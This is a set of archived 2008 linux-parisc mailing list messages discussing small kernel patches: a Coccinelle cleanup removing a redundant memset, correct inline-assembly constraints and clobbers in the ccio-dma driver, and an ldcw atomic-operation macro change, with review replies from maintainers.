Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 28 19:56:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCeeS-0006Hm-W6
	for glpp-linux-parisc@gmane.org; Sat, 28 Jun 2008 19:55:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753572AbYF1RzE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 13:55:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753544AbYF1RzD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 13:55:03 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:43184 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753500AbYF1RzB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 13:55:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9CBB14F8101;
	Sat, 28 Jun 2008 11:55:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11943-05; Sat, 28 Jun 2008 11:54:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0F3E34F80FF; Sat, 28 Jun 2008 11:54:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0806241023080.26777@ask.diku.dk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:460 gmane.linux.kernel:699734 gmane.linux.kernel.janitors:15439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/460>

On Tue, Jun 24, 2008 at 10:23:28AM +0200, Julia Lawall wrote:
> From: Julia Lawall <julia@diku.dk>
> 
> As noted by Akinobu Mita in patch b1fceac2b9e04d278316b2faddf276015fc06e3b,
> alloc_bootmem and related functions never return NULL and always return a
> zeroed region of memory.  Thus a NULL test or memset after calls to these
> functions is unnecessary.
> 
>  arch/parisc/mm/init.c |    1 -
>  1 file changed, 1 deletion(-)
> 
> This was fixed using the following semantic patch.
> (http://www.emn.fr/x-info/coccinelle/)
> 
> // <smpl>
> @@
> expression E;
> statement S;
> @@
> 
> E = \(alloc_bootmem\|alloc_bootmem_low\|alloc_bootmem_pages\|alloc_bootmem_low_pages\)(...)
> ... when != E
> (
> - BUG_ON (E == NULL);
> |
> - if (E == NULL) S
> )
> 
> @@
> expression E,E1;
> @@
> 
> E = \(alloc_bootmem\|alloc_bootmem_low\|alloc_bootmem_pages\|alloc_bootmem_low_pages\)(...)
> ... when != E
> - memset(E,0,E1);
> // </smpl>
> 
> Signed-off-by: Julia Lawall <julia@diku.dk>

Acked-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
> 
> diff -u -p a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -765,7 +765,6 @@ static void __init pagetable_init(void)
>  #endif
>  
>  	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
> -	memset(empty_zero_page, 0, PAGE_SIZE);
>  }
>  
>  static void __init gateway_init(void)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2
	optimization?
Date: Sat, 28 Jun 2008 14:23:47 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20080628202347.GA23898@colo.lackof.org>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214684656 2852 80.91.229.12 (28 Jun 2008 20:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 20:24:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 28 22:25:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCgyg-0002Wz-Fx
	for glpp-linux-parisc@gmane.org; Sat, 28 Jun 2008 22:24:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751328AbYF1UX7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 16:23:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751427AbYF1UX7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 16:23:59 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:44949 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751328AbYF1UX6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 16:23:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3A35A6F803B;
	Sat, 28 Jun 2008 14:23:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23157-06; Sat, 28 Jun 2008 14:23:47 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DBFED6F802C; Sat, 28 Jun 2008 14:23:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/461>

On Thu, Jun 26, 2008 at 07:28:03AM +0100, Joel Soete wrote:
> Just for remind:
> 
> Joel Soete wrote:
>  >
>  >
> [snip]
>  >>> But this time, it seems not consider assembly:
>  >>>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r"
>  >>> (vba));
>  >>>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
>  >>>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
>  >>>
>  >>> as a 'volatile' block and insert line 1c:
> 
> This seems to make better what I want:
>         __asm__ __volatile__ (
>         "lci    %%r0(%%sr1, %2), %0\n"
>         "\textru        %0,19,12,%0\n"
>         "\tdepw         %0,15,12,%1\n"
>         : "+r" (ci), "+r" (pa)
>         : "r" (vba)
>         : "memory"

Why the "memory"? This asm code isn't modifying memory at all.

>         );
> 
> 
> in <ccio_map_sg>
>   200:	06 80 53 13 	lci r0(sr1,r20),r19		      |	 200:	08 1a 02 54 	copy r26,r20
>   204:	d2 73 1a 74 	extrw,u r19,19,12,r19		      |	 204:	06 a0 53 14 	lci
> r0(sr1,r21),r20
>   208:	08 1a 02 5c 	copy r26,ret0			      |	 208:	d2 94 1a 74 	extrw,u
> r20,19,12,r20
>   20c:	d7 93 0e 14 	depw r19,15,12,ret0		      |	 20c:	d7 94 0e 14 	depw
> r20,15,12,ret0
>   210:	0e dc 12 80 	stw ret0,0(r22)				 210:	0e dc 12 80 	stw ret0,0(r22)
>   214:	06 c0 12 80 	fdc r0(r22)				 214:	06 c0 12 80 	fdc r0(r22)
>   218:	00 00 04 00 	sync					 218:	00 00 04 00 	sync
> 
> J.
> 
> PS: I don't yet understand why kernel panicing when I try to get rid to
> reserve 'ci' variable and use in place a gr as r19 (even if clobbered), the
> produced object seems ok but resulting kernel panicing (even after a full
> rebuild after a make distclean???)

What's wrong with "ci" variable? It's just another register.
C compiler will allocate it and then we pass it to the asm().

And are you sure it's ok to use r19?

hth,
grant

> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Another ldcw inline assembler patch
Date: Sat, 28 Jun 2008 18:07:57 -0400
Organization: nrc.ca
Lines: 38
Approved: news@gmane.org
Message-ID: <20080628220756.GA8620@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214690890 20712 80.91.229.12 (28 Jun 2008 22:08:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 22:08:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 00:08:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCibD-0003Er-Nk
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 00:08:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752211AbYF1WH7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 18:07:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752948AbYF1WH7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 18:07:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4932 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752211AbYF1WH7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 18:07:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D9FFF4E71; Sat, 28 Jun 2008 18:07:57 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/462>

Below is my take on how to write the ldcw asm.  I believe that Helge's
patch was essentially correct.

There are two reasons to expose the memory *a in the asm:

1) To prevent the compiler from discarding a preceeding write to *a, and
2) to prevent it from caching *a in a register over the asm.

The change has had a few days testing with a SMP build of 2.6.22.19
running on a rp3440.

Signed-off-by: Dave Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
index ee80c92..d91357b 100644
--- a/include/asm-parisc/system.h
+++ b/include/asm-parisc/system.h
@@ -168,8 +168,8 @@ static inline void set_eiem(unsigned long val)
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-		: "=r" (__ret) : "r" (a));			\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
 	__ret;							\
 })
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2	optimization?
Date: Sat, 28 Jun 2008 22:26:25 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <4866BA91.9040607@scarlet.be>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214692051 23668 80.91.229.12 (28 Jun 2008 22:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 22:27:31 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 00:28:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCitx-0007w1-A1
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 00:28:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752147AbYF1W1U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 18:27:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752980AbYF1W1U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 18:27:20 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:35119 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752147AbYF1W1T (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 18:27:19 -0400
Original-Received: from [213.49.84.120] (ip-213-49-84-120.dsl.scarlet.be [213.49.84.120])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5SMQQsn029191;
	Sun, 29 Jun 2008 00:26:27 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080628202347.GA23898@colo.lackof.org>
X-DCC-scarlet.be-Metrics: sif 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/463>

Hello Grant,

Grant Grundler wrote:
> On Thu, Jun 26, 2008 at 07:28:03AM +0100, Joel Soete wrote:
>> Just for remind:
>>
>> Joel Soete wrote:
>>  >
>>  >
>> [snip]
>>  >>> But this time, it seems not consider assembly:
>>  >>>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r"
>>  >>> (vba));
>>  >>>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
>>  >>>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
>>  >>>
>>  >>> as a 'volatile' block and insert line 1c:
>>
>> This seems to make better what I want:
>>         __asm__ __volatile__ (
>>         "lci    %%r0(%%sr1, %2), %0\n"
>>         "\textru        %0,19,12,%0\n"
>>         "\tdepw         %0,15,12,%1\n"
>>         : "+r" (ci), "+r" (pa)
>>         : "r" (vba)
>>         : "memory"
> 
> Why the "memory"? This asm code isn't modifying memory at all.
> 
well I certainly still have wrongly understand what "memory" clobber means but for me "pa" is a memory location modified 
(the plus sign in '"+r" (pa)' and that either after 64bit computation or 32bit initialization pa=0).
But your comment make me fill I am again wrong (well definitively C is not my language ;-) .)

>>         );
>>
>>
>> in <ccio_map_sg>
>>   200:	06 80 53 13 	lci r0(sr1,r20),r19		      |	 200:	08 1a 02 54 	copy r26,r20
>>   204:	d2 73 1a 74 	extrw,u r19,19,12,r19		      |	 204:	06 a0 53 14 	lci
>> r0(sr1,r21),r20
>>   208:	08 1a 02 5c 	copy r26,ret0			      |	 208:	d2 94 1a 74 	extrw,u
>> r20,19,12,r20
>>   20c:	d7 93 0e 14 	depw r19,15,12,ret0		      |	 20c:	d7 94 0e 14 	depw
>> r20,15,12,ret0
>>   210:	0e dc 12 80 	stw ret0,0(r22)				 210:	0e dc 12 80 	stw ret0,0(r22)
>>   214:	06 c0 12 80 	fdc r0(r22)				 214:	06 c0 12 80 	fdc r0(r22)
>>   218:	00 00 04 00 	sync					 218:	00 00 04 00 	sync
>>
>> J.
>>
>> PS: I don't yet understand why kernel panicing when I try to get rid to
>> reserve 'ci' variable and use in place a gr as r19 (even if clobbered), the
>> produced object seems ok but resulting kernel panicing (even after a full
>> rebuild after a make distclean???)
> 
> What's wrong with "ci" variable? It's just another register.
well the idea is that "ci" variable is just there as a tmp variable just used in this asm code, right.
so why not simply get rid of its declaration (btw save a line of code ;-)) and just use a common temporay reg as r19?

but what I show above is just a 'diff -y' between a objdump's hunk of ccio-dma.o:
on the left side what gcc produce with the original code (3 different asm lines) (this kernel was well booting fine)
on the right side what same compile produce with new code (1 asm line).

Otoh, based on my few knowldge on parisc asm, it seems to me that something like:
          __asm__ __volatile__ (
          "lci    %%r0(%%sr1, %1), %%r19\n"
          "\textru        %%r19,19,12,%%r19\n"
          "\tdepw         %%r19,15,12,%0\n"
          : "+r" (pa)
          : "r" (vba)
          : "r19")

would do the same job, but all my test results was a panicing kernel???
(even thought if I am diffing 2 objdump of the only ccio-dma.o, it looks like gr are just used differently. but may be did I 
missed another wrong stuff).

That said, nothing of that help to fixe ccio-dma driver issue ;-(

My latest hope is relayfs to grab more debug info (I just need a bit more free time).

> C compiler will allocate it and then we pass it to the asm().
> 
> And are you sure it's ok to use r19?
> 
yes that was the only lines, I was working on.

Tx,
	J.

> hth,
> grant
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2     optimization?
Date: Sat, 28 Jun 2008 18:45:10 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <20080628224510.D3FDA431A@hiauly1.hia.nrc.ca>
References: <4866BA91.9040607@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214693129 26499 80.91.229.12 (28 Jun 2008 22:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 22:45:29 +0000 (UTC)
Cc: grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 00:46:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCjBN-0003A6-Ix
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 00:46:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752220AbYF1WpO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 18:45:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752410AbYF1WpO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 18:45:14 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4937 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752220AbYF1WpN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 18:45:13 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D3FDA431A; Sat, 28 Jun 2008 18:45:10 -0400 (EDT)
In-Reply-To: <4866BA91.9040607@scarlet.be> from "Joel Soete" at Jun 28, 2008 10:26:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:464
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/464>

> Grant Grundler wrote:
> > On Thu, Jun 26, 2008 at 07:28:03AM +0100, Joel Soete wrote:
> >> Just for remind:
> >>
> >> Joel Soete wrote:
> >>  >
> >>  >
> >> [snip]
> >>  >>> But this time, it seems not consider assembly:
> >>  >>>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r"
> >>  >>> (vba));
> >>  >>>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
> >>  >>>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
> >>  >>>
> >>  >>> as a 'volatile' block and insert line 1c:
> >>
> >> This seems to make better what I want:
> >>         __asm__ __volatile__ (
> >>         "lci    %%r0(%%sr1, %2), %0\n"
> >>         "\textru        %0,19,12,%0\n"
> >>         "\tdepw         %0,15,12,%1\n"
> >>         : "+r" (ci), "+r" (pa)
> >>         : "r" (vba)
> >>         : "memory"
> > 
> > Why the "memory"? This asm code isn't modifying memory at all.
> > 
> well I certainly still have wrongly understand what "memory" clobber means but for me "pa" is a memory location modified 
> (the plus sign in '"+r" (pa)' and that either after 64bit computation or 32bit initialization pa=0).

The "+r" constraint indicates a register operand that is both read and written.
However, "ci" and "pa" are not read, so the constraints for them should be
"=r".  None of the instructions modify memory, so the "memory" clobber
is unnecessary.

> so why not simply get rid of its declaration (btw save a line of code ;-)) and just use a common temporay reg as r19?

r19 is the pic register in 64-bit mode and can't be used without saving
and restoring it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Another ldcw inline assembler patch
Date: Sat, 28 Jun 2008 17:34:07 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20080628233406.GI14894@parisc-linux.org>
References: <20080628220756.GA8620@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214696076 1013 80.91.229.12 (28 Jun 2008 23:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 23:34:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 01:35:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCjws-0003WH-M9
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 01:35:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751241AbYF1XeY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 19:34:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751426AbYF1XeY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 19:34:24 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:59044 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751583AbYF1XeX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jun 2008 19:34:23 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A78E5494005; Sat, 28 Jun 2008 17:34:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080628220756.GA8620@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/465>

On Sat, Jun 28, 2008 at 06:07:57PM -0400, John David Anglin wrote:
> There are two reasons to expose the memory *a in the asm:
> 
> 1) To prevent the compiler from discarding a preceeding write to *a, and
> 2) to prevent it from caching *a in a register over the asm.

Do either of those scenarios apply, given that every usage of this is
preceded by an asm clobbering memory?

I believe the correct thing to do is to take out the two mb()s in the
various spin_lock routines and make the __ldcw() macro itself clobber
memory.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Another ldcw inline assembler patch
Date: Sat, 28 Jun 2008 20:43:16 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20080629004317.B4FDD431A@hiauly1.hia.nrc.ca>
References: <20080628233406.GI14894@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214700211 10012 80.91.229.12 (29 Jun 2008 00:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 00:43:31 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 02:44:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCl1X-0005eR-Ib
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 02:44:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752585AbYF2AnT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jun 2008 20:43:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752620AbYF2AnT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Jun 2008 20:43:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4945 "EHLO
